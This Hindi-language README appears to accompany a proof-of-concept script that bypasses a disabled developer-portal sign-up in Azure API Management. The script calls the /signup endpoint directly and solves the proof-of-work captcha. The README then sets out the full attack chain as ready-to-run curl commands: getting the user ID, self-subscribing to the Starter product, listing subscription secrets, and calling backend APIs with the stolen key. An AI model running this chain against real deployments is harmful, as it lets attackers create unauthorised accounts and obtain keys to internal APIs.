
Python स्क्रिप्ट जो UI अक्षम होने पर Azure APIM साइनअप को बायपास करती है, यह CVE-2025-66390 से अलग है क्योंकि इसमें क्रॉस टेनेंट में कुछ भी सेटअप करने की आवश्यकता नहीं होती है।
Azure API Management (APIM) में अक्षम डेवलपर पोर्टल साइन-अप को बायपास करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट, जो बैकएंड रजिस्ट्रेशन API को सीधे कॉल करती है।
Azure APIM डेवलपर पोर्टल को पोर्टल UI के माध्यम से सेल्फ-सर्विस साइन-अप अक्षम करने के लिए कॉन्फ़िगर किया जा सकता है। कुछ डिप्लॉयमेंट में अंतर्निहित API एंडपॉइंट (/signup) सक्रिय और पहुंच योग्य रहता है, भले ही UI बटन छिपा या हटा दिया गया हो। यह स्क्रिप्ट इस खामी का फायदा उठाती है:
/v2/captcha-challenge से प्रूफ-ऑफ-वर्क (PoW) कैप्चा चुनौती प्राप्त करना/signup पर साइन-अप अनुरोध सबमिट करनासभी इनपुट (लक्ष्य URL, क्रेडेंशियल, प्रॉक्सी) रनटाइम पर इंटरैक्टिव रूप से पूछे जाते हैं।
CVE-2025-66390 (CVSS 9.8 क्रिटिकल) एक क्रॉस-टेनेंट APIM साइन-अप बायपास का वर्णन करता है: एक हमलावर उस टेनेंट का दुरुपयोग करता है जहां साइन-अप सक्षम है, ताकि उस दूसरे टेनेंट में खाते पंजीकृत किए जा सकें जहां साइन-अप अक्षम है, API अनुरोधों पर Host हेडर में हेरफेर करके। Microsoft ने इसे उत्पाद भेद्यता के बजाय एक कॉन्फ़िगरेशन समस्या के रूप में चिह्नित किया।
इसके लिए किसी क्रॉस-टेनेंट बनाने की आवश्यकता नहीं है; इसके बजाय यह /v2/captcha-challenge एंडपॉइंट का उपयोग करके कैप्चा को 75000 पुनरावृत्तियों (औसतन) में हल करता है।
python3 apim_signup.py
लक्ष्य URL, खाता विवरण, पासवर्ड (छिपा हुआ इनपुट, पुष्टि के लिए इको किया जाता है), और वैकल्पिक प्रॉक्सी के लिए पूछता है।
एक बार साइन-अप अनुरोध सफल हो जाता है और पुष्टिकरण ईमेल आ जाता है, पूर्ण आक्रमण श्रृंखला है:
रजिस्ट्रेशन ईमेल में कन्फर्मेशन लिंक पर क्लिक करें। यह खाते को सक्रिय करता है, इससे पहले कि प्रबंधन API इसे प्रमाणित करे।
अपना आंतरिक उपयोगकर्ता ID प्राप्त करने के लिए APIM प्रबंधन API को Basic auth (base64(email:password)) के साथ हिट करें:
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}
लौटाया गया id फ़ील्ड बाद के सभी प्रबंधन API कॉल्स में उपयोग किया जाता है।
या /developer/identity?api-version=2022-04-01-preview को हिट करें <-- संस्करण मायने नहीं रखता एक UI लॉगिन के लिए संकेत देगा, वहां से आप अपना ID भी प्राप्त कर सकते हैं
डिफ़ॉल्ट Starter उत्पाद approvalRequired: false के साथ आता है, जिसका अर्थ है कि किसी व्यवस्थापक अनुमोदन की आवश्यकता नहीं है। PUT के माध्यम से सेल्फ-सब्सक्राइब करें:
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>" \
-H "Content-Type: application/json" \
-d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created
एक पुष्टिकरण ईमेल ("Starter के लिए आपकी सदस्यता") [email protected] से आता है।
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}
प्राइमरी कुंजी को Ocp-Apim-Subscription-Key के रूप में APIM गेटवे के विरुद्ध उपयोग करके प्रमाणित बैकएंड कॉल करें:
curl -s "https://<service>.azure-api.net/<api-path>" \
-H "Ocp-Apim-Subscription-Key: <primaryKey>"
पहुंच इस बात पर निर्भर करती है कि कौन से APIs Starter उत्पाद के दायरे में हैं — एक गलत कॉन्फ़िगर किए गए डिप्लॉयमेंट में यह बिना किसी अतिरिक्त प्रमाणीकरण के आंतरिक बैकएंड को उजागर कर सकता है।
अतिरिक्त विवरण के लिए यह लेख श्रृंखला का वर्णन करने में बहुत अच्छा है, बस क्रॉस-टेनेंट वाला हिस्सा हटा दें। https://www.praetorian.com/blog/azure-apim-signup-bypass/